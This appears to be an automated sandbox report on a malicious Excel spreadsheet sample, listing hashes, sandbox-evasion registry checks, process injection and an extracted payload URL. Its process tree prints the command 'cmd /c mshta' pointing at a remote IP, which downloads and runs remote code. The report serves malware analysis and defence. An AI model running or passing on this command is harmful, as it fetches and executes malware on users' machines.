Analysis
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max time kernel
134s -
max time network
142s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 16:43
Behavioral task
behavioral1
Sample
ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188.xls
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188.xls
Resource
win10v2004-20241007-en
General
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Target
ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188.xls
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Size
104KB
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MD5
b35f5fd8699cc21aef5d5212afe93a0e
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SHA1
0cf906e5b8f2454ede372926d8dad040c439173c
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SHA256
ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188
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SHA512
582fb054549437592f5cb5a9fbac834ae0c3290dee12fc518976fc8e4423525c4760fb42a7294cbee9525b805a24c4a1d94da65c55b9d65ba522ae743962a073
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SSDEEP
3072:CGk3hbdlylKsgqopeJBWhZFGkE+cL2NdAydb4oifHMVhoSc2vUz3UWDG:Hk3hbdlylKsgqopeJBWhZFVE+W2NdAyu
Malware Config
Extracted
http://91.240.118.168/qw/as/se.html
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 4608 4056 cmd.exe 82 -
Blocklisted process makes network request 1 IoCs
flow pid Process 22 3636 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4056 EXCEL.EXE -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE 4056 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4056 wrote to memory of 4608 4056 EXCEL.EXE 87 PID 4056 wrote to memory of 4608 4056 EXCEL.EXE 87 PID 4608 wrote to memory of 3636 4608 cmd.exe 89 PID 4608 wrote to memory of 3636 4608 cmd.exe 89
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ddbdcb17e0df3322fbfc358be914db0e321ba163a4b88c136da0af0c2375c188.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056 -
C:\Windows\SYSTEM32\cmd.execmd /c mshta http://91.240.118.168/qw/as/se.html2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\system32\mshta.exemshta http://91.240.118.168/qw/as/se.html3⤵
- Blocklisted process makes network request
PID:3636
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